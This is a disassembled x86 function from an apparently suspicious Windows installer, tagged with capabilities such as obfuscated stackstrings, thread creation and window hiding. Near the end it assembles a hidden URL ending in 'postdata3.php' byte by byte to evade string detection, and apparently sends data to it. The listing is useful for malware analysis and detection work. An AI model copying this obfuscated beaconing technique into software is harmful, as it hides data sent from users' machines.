Function at 0x403159
Capabilities:
Contain obfuscated stackstrings
Create thread
Hide graphical window

Disassembly:
push ebp
sub esp, 0x140
lea ebp, [esp - 4]
mov eax, dword [0x41e16c]
xor eax, ebp
mov dword [ebp + 0x140], eax
push 0x54
mov eax, 0x418913
call fcn.00408d9e
mov eax, dword [ebp + 0x14c]
mov ecx, dword [ebp + 0x154]
push str.iiwaxshgtryqyzec
mov ebx, 0x41fb04
push ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [0x41fa8c], eax
call fcn.00402037
pop ecx
pop ecx
push 0xc
pop ecx
mov esi, str.fctmohylknxuzibgpredawjsqvunbtkmjvsydexfcpgwoqahr
lea edi, [ebp + 0x70]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xb
pop ecx
mov esi, str.zocrlypgkvjmhfxwuqasinedtbvdbsalzrcnkmgehjywo
lea edi, [ebp + 0xa4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 7
pop ecx
mov eax, dword [0x41fb04]
mov esi, str.yxbqemnwhztsrofducapgvklijli
lea edi, [ebp + 0xf8]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 8
pop ecx
mov esi, 0x419ec8
lea edi, [ebp + 0xd4]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [eax - 0xc]
lea eax, [ebp + 0x70]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031f7
sub eax, edi
mov dword [ebp - 0x2c], eax
lea eax, [ebp + 0xa4]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40320c
sub eax, edi
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0xf8]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403221
sub eax, edi
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0xd4]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403236
fld qword [0x419ec0]
sub eax, edi
fstp qword [ebp - 0x34]
mov dword [ebp - 0x40], eax
fld1
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004083e0
mov edi, eax
push 0x27
pop eax
add eax, edi
cdq
idiv dword [ebp - 0x2c]
mov ecx, ebx
movzx eax, byte [ebp + edx + 0x70]
push eax
lea eax, [esi - 1]
push eax
call fcn.00401a63
push 0x1a
pop eax
add eax, edi
cdq
idiv dword [ebp - 0x28]
mov ecx, ebx
movzx eax, byte [ebp + edx + 0xa4]
push eax
lea eax, [esi - 2]
push eax
call fcn.00401a63
push 0xf
pop eax
add eax, edi
cdq
idiv dword [ebp - 0x1c]
mov ecx, ebx
movzx eax, byte [ebp + edx + 0xf8]
push eax
lea eax, [esi - 3]
push eax
call fcn.00401a63
push 0x18
pop eax
add eax, edi
cdq
idiv dword [ebp - 0x40]
mov ecx, ebx
movzx eax, byte [ebp + edx + 0xd4]
push eax
lea eax, [esi - 4]
push eax
call fcn.00401a63
fld qword [ebp - 0x34]
call fcn.00408e60
fmul qword [0x419eb8]
fld st(0)
call fcn.004083e0
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fsubp st(1)
call fcn.004083e0
inc eax
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x3c]
fadd qword [ebp - 0x34]
fstp qword [ebp - 0x3c]
fld qword [str.333c]
fcomp qword [ebp - 0x3c]
fnstsw ax
test ah, 5
jp 0x403250
lea eax, [ebp - 0x24]
push 0x419e9c
push eax
call fcn.00407abd
xor ebx, ebx
push 0x44
mov dword [ebp - 4], ebx
call fcn.004082f6
add esp, 0xc
mov dword [ebp - 0x30], eax
mov byte [ebp - 4], 1
cmp eax, ebx
je 0x403345
mov ecx, eax
call fcn.00406048
jmp 0x403347
xor eax, eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0
mov dword [0x41fa74], eax
call fcn.00403118
push ebx
push str._run1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.00401a13
sub esp, 0x1c
mov ecx, esp
test eax, eax
jge 0x4033df
mov dword [ebp - 0x14], esp
push str.2250
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 0x10
push 0x4194b4
push str.This_file_is_part_of_an_installer_and_not_meant_to_be_launched_separately.
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.004012cf
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffffff0
call fcn.004012cf
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x140]
xor ecx, ebp
call fcn.00407cd7
add ebp, 0x144
leave
ret 0x10
mov dword [ebp - 0x18], esp
push str.2242
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
call fcn.00401000
test al, al
je 0x40341f
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2251
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
jmp 0x4033a1
call fcn.004013fc
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.2252
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push ebx
lea ecx, [ebp + 0x54]
mov dword [ebp + 0x6c], 0xf
call fcn.00401712
mov ecx, dword [0x41fa74]
lea eax, [ebp + 0x54]
push eax
mov byte [ebp - 4], 3
call fcn.004071c7
mov esi, 0x419e20
push esi
lea ecx, [ebp + 0x54]
call fcn.00402070
push ebx
push esi
lea ecx, [ebp + 0x54]
call fcn.0040172e
test eax, eax
je 0x4034c0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2253
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 0x10
push 0x4194b4
push str.This_file_is_part_of_an_installer_and_not_meant_to_be_launched_separately.
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
push 1
lea ecx, [ebp + 0x54]
call fcn.00401877
jmp 0x4033a1
mov esi, 0x41faec
mov ecx, esi
call fcn.004075c9
call fcn.004012e9
push 0x3c
mov ecx, esi
call fcn.0040778d
mov ecx, esi
call fcn.00407606
push 0x420608
lea ecx, [ebp - 0x1c]
call fcn.0040177b
sub esp, 0x1c
cmp byte [0x41faf0], 0
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x18], esp
jne 0x403550
push str.2043
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
lea eax, [ebp - 0x18]
push 2
push eax
call fcn.00402d8a
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 5
call fcn.004021c4
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov byte [ebp - 4], 4
call fcn.004012cf
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.1838
jmp 0x40359b
push str.2044
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
lea eax, [ebp - 0x18]
push 3
push eax
call fcn.00402d8a
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 6
call fcn.004021c4
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov byte [ebp - 4], 4
call fcn.004012cf
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.1837
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], esp
mov ecx, esp
push eax
call fcn.004017a0
call fcn.00402b88
pop ecx
sub esp, 0x1c
mov edi, eax
mov ecx, esp
mov dword [ebp - 0x18], esp
cmp dword [0x41fa80], ebx
je 0x403626
push str.1804
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
cmp edi, ebx
jne 0x403617
call dword [0x41fa68]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
cmp eax, ebx
jne 0x403604
push str.1806
jmp 0x40362b
cmp eax, 1
jne 0x403610
push str.1807
jmp 0x40362b
push str.1808
jmp 0x40362b
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.1914
jmp 0x40362b
push str.1805
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.1763
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 3
mov ecx, esi
call fcn.004077b5
push ebx
push 0x4022bd
push ebx
push 0x82
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov edi, eax
mov dword [0x41faa0], edi
cmp edi, ebx
jne 0x4036b4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x419db8
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
call fcn.00402c56
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.004012cf
jmp 0x4034b0
mov byte [ebp - 4], 7
cmp dword [0x41faa8], ebx
jne 0x403709
fld qword [0x41fa90]
fld qword [0x419db0]
fmul st(1)
call fcn.004083e0
fld qword [0x41fa98]
fld qword [0x419da8]
push eax
fmul st(1)
call fcn.004083e0
fxch st(1)
fmul qword [0x419da0]
push eax
call fcn.004083e0
fmul qword [0x419d98]
push eax
call fcn.004083e0
push eax
push edi
call dword [0x41fa64]
mov dword [ebp - 4], 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1860
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1773
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 0x258
push 4
mov ecx, esi
call fcn.00407440
call dword [0x41fa68]
mov edi, eax
cmp edi, 9
mov ebx, 0x789
jge 0x403770
lea ebx, [edi + 0x780]
push 0x420608
lea ecx, [ebp - 0x28]
call fcn.0040177b
push ebx
lea eax, [ebp - 0x28]
push 0x419d84
push eax
mov byte [ebp - 4], 9
call fcn.00402037
mov ebx, dword [ebp - 0x28]
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x14], esp
push ebx
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
cmp edi, 3
mov ecx, esp
mov dword [ebp - 0x14], esp
jle 0x403821
push str.2255
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
call fcn.00402c56
lea ecx, [ebx - 0x10]
call fcn.004012cf
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.004012cf
push 0
jmp 0x4034b1
push str.1764
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1861
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
and dword [ebp - 0x2c], 0
cmp dword [0x41faa8], 0
mov byte [0x41faa4], 1
mov byte [ebp - 4], 0xa
jne 0x403879
push 0x32c8
call dword [0x41fa6c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], 9
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2256
xor ebx, ebx
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
cmp dword [ebp - 0x2c], ebx
jne 0x4039d0
push str.1870
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 5
mov ecx, esi
call fcn.004077b5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1862
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1834
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1841
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 0xb4
push 8
mov ecx, esi
call fcn.00407440
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1913
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
mov byte [0x41faa4], bl
call fcn.00402c56
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
call fcn.004012cf
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.004012cf
push ebx
push 1
lea ecx, [ebp + 0x54]
call fcn.00401877
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.004012cf
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffffff0
call fcn.004012cf
mov eax, esi
jmp 0x4033ba
xor edi, edi
inc edi
push str.2257
mov dword [0x41fab0], edi
mov byte [0x41faa4], 0
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push dword [0x41faa0]
call fcn.0040133a
pop ecx
push dword [ebp + 0x158]
push dword [0x41faa0]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x41faa0]
call dword [sym.imp.USER32.dll_UpdateWindow]
push ebx
push 0xfa0
push edi
push dword [0x41faa0]
call dword [sym.imp.USER32.dll_SetTimer]
lea eax, [ebp - 0x44]
push eax
push ebx
push ebx
push 0x402e82
push ebx
push ebx
mov byte [0x41faa7], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2258
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x60]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x403a8f
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x60]
push eax
call edi
test eax, eax
jne 0x403a7b
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x14], esp
push 0x41e00c
push str.v99_fsn_normal_
push eax
call fcn.00402d3f
lea eax, [ebp]
add esp, 0xc
push eax
call fcn.00402093
lea eax, [ebp]
push eax
lea eax, [ebp + 0x1c]
push 0x419c50
push eax
mov byte [ebp - 4], 0xc
call fcn.00402d3f
add esp, 0x2c
push ebx
lea ecx, [ebp + 0x38]
mov dword [ebp + 0x50], 0xf
call fcn.00401712
push 0x27
lea eax, [ebp + 0x119]
push ebx
push eax
mov byte [ebp - 4], 0xe
call fcn.00408210
add esp, 0xc
lea eax, [ebp + 0x118]
push eax
lea ecx, [ebp + 0xf8]
mov byte [ebp + 0x118], 0x68
mov byte [ebp + 0x12c], 0x6f
mov byte [ebp + 0x11f], 0x2f
mov byte [ebp + 0x135], 0x74
mov byte [ebp + 0x12d], 0x6d
mov byte [ebp + 0x128], 0x6d
mov byte [ebp + 0x124], 0x70
mov byte [ebp + 0x138], 0x2e
mov byte [ebp + 0x136], 0x61
mov byte [ebp + 0x132], 0x74
mov byte [ebp + 0x11d], 0x3a
mov byte [ebp + 0x137], 0x33
mov byte [ebp + 0x130], 0x6f
mov byte [ebp + 0x127], 0x6f
mov byte [ebp + 0x121], 0x79
mov byte [ebp + 0x119], 0x74
mov byte [ebp + 0x11b], 0x70
mov byte [ebp + 0x125], 0x70
mov byte [ebp + 0x11e], 0x2f
mov byte [ebp + 0x120], 0x6d
mov byte [ebp + 0x13b], 0x70
mov byte [ebp + 0x12a], 0x2e
mov byte [ebp + 0x11c], 0x73
mov byte [ebp + 0x11a], 0x74
mov byte [ebp + 0x122], 0x61
mov byte [ebp + 0x12e], 0x2f
mov byte [ebp + 0x131], 0x73
mov byte [ebp + 0x133], 0x64
mov byte [ebp + 0x12f], 0x70
mov byte [ebp + 0x134], 0x61
mov byte [ebp + 0x123], 0x70
mov byte [ebp + 0x139], 0x70
mov byte [ebp + 0x129], 0x6f
mov byte [ebp + 0x12b], 0x63
mov byte [ebp + 0x126], 0x72
mov byte [ebp + 0x13a], 0x68
mov byte [ebp + 0x13d], 0
call fcn.00402235
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp + 0x1c]
push eax
mov byte [ebp - 4], 0xf
lea eax, [ebp + 0xf8]
mov ecx, dword [0x41fa74]
push eax
call fcn.00407132
push ebx
push 1
lea ecx, [ebp + 0xf8]
mov byte [ebp - 4], 0xe
call fcn.00401877
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2259
mov byte [0x41faa7], 1
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 5
mov ecx, esi
call fcn.004077b5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1862
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1834
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
mov eax, dword [0x41fab0]
cmp eax, 1
jne 0x403cc4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1841
jmp 0x403d26
cmp eax, 2
jne 0x403cd8
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1842
jmp 0x403d26
cmp eax, 3
jne 0x403cec
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1843
jmp 0x403d26
cmp eax, 4
jne 0x403d00
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1844
jmp 0x403d26
cmp eax, 5
jne 0x403d14
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1845
jmp 0x403d26
cmp eax, 6
jne 0x403d36
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1846
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
mov eax, dword [0x41faac]
cmp eax, 1
jne 0x403d4f
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1901
jmp 0x403d89
cmp eax, 2
jne 0x403d63
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1902
jmp 0x403d89
cmp eax, 3
jne 0x403d77
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1903
jmp 0x403d89
cmp eax, 4
jne 0x403d99
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1904
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
cmp byte [0x41faa6], 0
je 0x403ddc
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1849
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1864
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2260
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
push 0xb4
push 8
mov ecx, esi
call fcn.00407440
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.1766
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2261
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
mov byte [ebp - 4], 0x10
cmp dword [0x41faa8], ebx
jne 0x403e53
call dword [0x41fa48]
mov dword [ebp - 4], 0xe
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2262
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2244
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
call fcn.00402c56
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.2246
call fcn.00402235
mov ecx, dword [0x41fa74]
call fcn.00407148
call fcn.00401b45
xor esi, esi
push esi
push 1
lea ecx, [ebp + 0x38]
call fcn.00401877
push esi
push 1
lea ecx, [ebp + 0x1c]
call fcn.00401877
push esi
push 1
lea ecx, [ebp]
call fcn.00401877
xor ebx, ebx
jmp 0x40395e